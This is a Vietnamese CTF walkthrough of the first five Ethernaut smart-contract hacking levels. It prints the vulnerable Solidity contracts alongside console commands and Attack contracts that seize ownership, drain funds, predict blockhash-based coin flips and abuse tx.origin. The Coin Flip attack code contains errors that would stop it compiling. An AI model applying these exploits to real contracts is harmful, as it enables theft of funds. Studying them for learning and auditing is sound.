Những năm gần đây, Blockchain và các ứng dụng của nó nổi lên như một xu thế công nghệ của tương lai. Áp dụng Blockchain, ta có thể giải quyết được rất nhiều vấn đề mà các công nghệ hiện tại không làm được, mà trong đó nổi bật nhất là không còn trung gian giao dịch, không cần tin tưởng vào một bên thứ 3 nào nữa. Điều này khiến cho mọi thứ trở nên đơn giản hơn, tiện lợi hơn, minh bạch hơn, sự tin tưởng cao hơn.
Tuy vậy Blockchain không phải chỉ có toàn ưu điểm, nó vẫn còn là một công nghệ còn rất “mới” và sẽ cần nhiều thời gian nữa để hoàn thiện. Một số nhược điểm cơ bản có thể kể đến như tốc độ confirm giao dịch vẫn còn chậm, chi phí còn cao đối với các giao dịch nhỏ. Một điều nữa là user experience - người dùng phổ thông vẫn chưa sẵn sàng với khái niệm Blockchain, sự tin tưởng vào công nghệ này vẫn còn cần rất nhiều sự minh chứng nữa.
Và một điều được coi như “sống còn” của sự hoàn thiện: đó chính là tính bảo mật. Đối với bất kỳ sản phẩm nào, dù lớn hay nhỏ, chỉ cần một lần xảy ra sự cố bảo mật thôi, cũng có thể dẫn đến sự sụp đổ của cả một hệ thống. Blockchain cũng vậy, nó chưa hoàn hảo, và vẫn còn những lỗi bảo mật tiềm ẩn, cả trong kiến trúc Blockchain lẫn trong những đoạn code của các ứng dụng trên nền tảng này.
Trong bài này, chúng ta sẽ đi qua một số lỗi bảo mật của các smart contract trên nền tảng Ethereum thông qua một CTF games của Zeppelin - một hãng rất nổi tiếng hiện nay trong xây dựng các solutions cho smart contract. CTF này có tên là The Ethernaut - nội dung chủ đạo là hacking smart contract.
Các bạn có thể tham gia chơi tại đây: https://ethernaut.zeppelin.solutions
Một vài recommend:
- Sẽ tốt hơn nếu bạn có kiến thức về Blockchain và Smart Contract
- Sẽ tốt hơn nếu bạn có kiến thức về Solidity và Web3js
- Sẽ là tốt hơn nếu bạn biết cách sử dụng Remix IDE hoặc Truffle
Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.
0. Hello Ethernaut
Đây là bài hướng dẫn khởi động, rất là đơn giản thôi, chủ yếu để chúng ta test các hàm họ dựng sẵn rồi. OK lets go!
Solution
- Ta chưa biết mình phải làm gì ngoài một gợi ý tại bước hướng dẫn số 9. Ta sẽ bắt đầu bằng
contract.info()
trên Chrome Console
await contract.info();
> 'You will find what you need in info1().';
- Một chỉ dẫn rất rõ ràng, chạy tiếp hàm
info1
await contract.info1();
> "Try info2(), but with "hello" as a parameter."
- Tiếp tục
info2
với giá trị tham sốhello
await contract.info2('hello');
> 'The property infoNum holds the number of the next info method to call.'
- Tiếp tục gọi
infoNum
(await contract.infoNum()).toString();
> '42';
- hàm tiếp theo được gọi sẽ là
info42
await contract.info42();
> 'theMethodName is the name of the next method.'
- chạy tiếp
theMethodName
await contract.theMethodName();
> 'The method name is method7123949.'
- chạy tiếp
method7123949
await contract.method7123949();
> 'If you know the password, submit it to authenticate().'
- vậy là đã rõ, để hoàn thành bài này ta cần submit function
authenticate
với tham số làpassword
. Gọi hàmpassword
để lấy password.
await contract.password();
> 'ethernaut0'
- authenticate
contract.authenticate("ethernaut0");
- Submit & all done!
1. Fallback
Mục tiêu:
- Chiếm quyền owner
- Rút hết tiền khỏi contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Fallback Solution
Note: Một contract mặc định không thể nhận ETH, trừ phi nó được implement hàm
receive()
hoặcfallback()
.
- Đầu tiên gọi function
contribute()
với một giá trị nhỏ hơn 0.001 để trở thành contributor
await contract.contribute({ value: toWei("0.0001") });
- Kiểm tra xem đã trở thành contributor chưa, nếu kết quả > 0 thì có nghĩa là ta đã trở thành contributor rồi
(await contract.getContribution()).toString();
- Sau đó send ether tới contract để kích hoạt fallback, khi đó ta sẽ trở thành owner
contract.send(toWei("0.0001"));
- Kiểm tra xem đã trở thành owner chưa
await contract.owner();
- Rút toàn bộ tiền khỏi contract
contract.withdraw();
- Kiểm tra xem contract hết tiền chưa
await web3.eth.getBalance(instance);
> '0'
- Submit & all done!
2. Fallout
Mục tiêu: Chiếm quyền owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
Fallout Solution
- Đơn giản chỉ cần chạy function Fal1out là được, lưu ý contract cố tình viết sai chữ l thành số 1 nên nó không phải là constructor mà chỉ là một function thông thường có nhiệm vụ là trao quyền owner
contract.Fal1out();
- Kiểm tra xem đã trở thành owner chưa
await contract.owner();
- Submit & all done!
3.Coin Flip
Đây là một bài tung đồng xu, nhiệm vụ của chúng ta là phải đoán trúng mặt sấp hoặc ngửa 10 lần liên tiếp.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Coin Flip Solution
- Đầu tiên, khẳng định một điều rằng: việc tự đoán 10 lần đúng liên tiếp bằng đỏ đen gần như là bất khả thi.
- Nhận thấy rằng trong function
flip()
có tính toán mặt sấp/ngửa sau đó submit kết quả luôn, nên ta không thể biết được kết quả tính toán là gì để can thiệp vào quá trình submit. Tuy nhiên nó gợi ý tưởng cho ta có thể viết một contract khác chia function đó ra làm đôi, một function có nhiệm vụ tính toán và một function có nhiệm vụ submit kết quả. - Đã đến lúc phải code, ta sẽ sử dụng Remix IDE thay cho Chrome console. Ta sẽ viết một contract Attack khác như sau, nhớ hay thế biến target bằng địa chỉ instance của bạn:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Attack {
CoinFlip cf;
// replace target by your instance address
address target = 0x6638326b577520c1eb0856745f294582b64ce96d;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
cf = CoinFlip(target);
}
function calc() public view returns (bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function flip() public {
bool guess = calc();
cf.flip(guess);
}
}
-
Compile contract này và chạy function flip bằng tay 10 lần trên Remix, nhớ để Gas Limit và Gas Price cao một chút để tránh bị out of gas và để transaction được confirm nhanh hơn.
-
Trên chrome console, kiểm tra lại số lần liên tiếp đoán đúng, 10 lần là được
(await contract.consecutiveWins()).toString();
- Submit & all done!
4. Telephone
Nhiệm vụ: chiếm quyền owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Telephone Solution
- Bạn cần hiểu rõ một điều
tx.origin
khác vớimsg.sender
. - Nếu bạn gọi function từ một contract A, trong function có có gọi function của contract B, thì
tx.origin
là địa chỉ của bạn cònmsg.sender
là contract A address. - Kẻ xấu có thể lợi dụng điều này để tấn công một contract bằng cách sử dụng một contract khác để tấn công.
- Trong bài này, ta sẽ viết thêm một contract Attack như sau:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Attack {
Telephone phone;
// replace target by your instance address
address target = 0x7828d70649688ad7fb4fa2b34430e92096b6fb47;
constructor() public {
phone = Telephone(target);
}
function claimOwnership() public {
phone.changeOwner(msg.sender);
}
}
- Compile contract này và chạy hàm
claimOwnership
trên Remix, quyền owner sẽ thuộc về bạn. - Trên chrome console, kiểm tra lại contract owner
await contract.owner();
- Submit & all done!
Conclusion
Trên đây là solution 5 bài đầu tiên trong tổng số tất cả 12 bài trong The Ethernaut CTF game. Nội dung khá đơn giản để bắt đầu phải không nào!
Hẹn gặp lại các bạn trong phần tiếp theo!